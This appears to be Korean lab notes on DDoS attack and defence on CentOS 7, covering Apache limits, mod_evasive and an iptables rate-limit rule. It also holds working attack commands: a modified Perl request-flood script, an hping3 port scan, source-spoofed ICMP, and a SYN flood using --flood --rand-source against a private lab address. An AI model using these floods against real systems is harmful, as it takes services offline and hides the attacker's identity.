CentOS7 DDOS 공격 및 방어

Apache 버전

vim /etc/httpd/conf/httpd.conf
	> # ServerSignature Off
MaxRequestWorkers 500 # 동시 접속자 수 제한 (DDOS막기)
MaxKeepAliveRequests 500 # 한 유저의 요청 수 제한
TimeOut 300 # 5분동안 사용하지 않으면 세션 끊기

DDOS 막는 모듈
yum -y install epel-release
yum -y install mod_evasive

vim /etc/httpd/conf.d/mod_evasive.conf

systemctl restart httpd

DDOS 공격
systemctl stop firewalld
setenforce 0

yum -y install epel-release
yum -y install mod_evasive

vim /usr/share/doc/mod_evasive-1.10.1/test.pl # perl 파일 수정

for(0..100) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "192.168.111.100:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\\r\\nHost:127.0.0.1\\r\\n\\r\\n";

perl /usr/share/doc/mod_evasive-1.10.1/test.pl # perl 실행

DDOS ( 서비스 거부 공격 )

hping3 -1 -c 5 192.168.111.100 (icmp -1 udp -2)
hping3 --scan 1-1024 -S 192.168.111.100

# rand atack 공격 ( 누가 공격을 한지 모르게 출발지 숨김 )
hping3 -1 -a 10.20.30.40 -d 65000 192.168.111.100
# -a : 시작 ip주소 -d : 데이터 크기

# flooding 공격
hping3 -S -d 64 192.168.111.100 -p 80 --flood --rand-source

DDOS 막기
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 1 --hitcount 10 -j DROP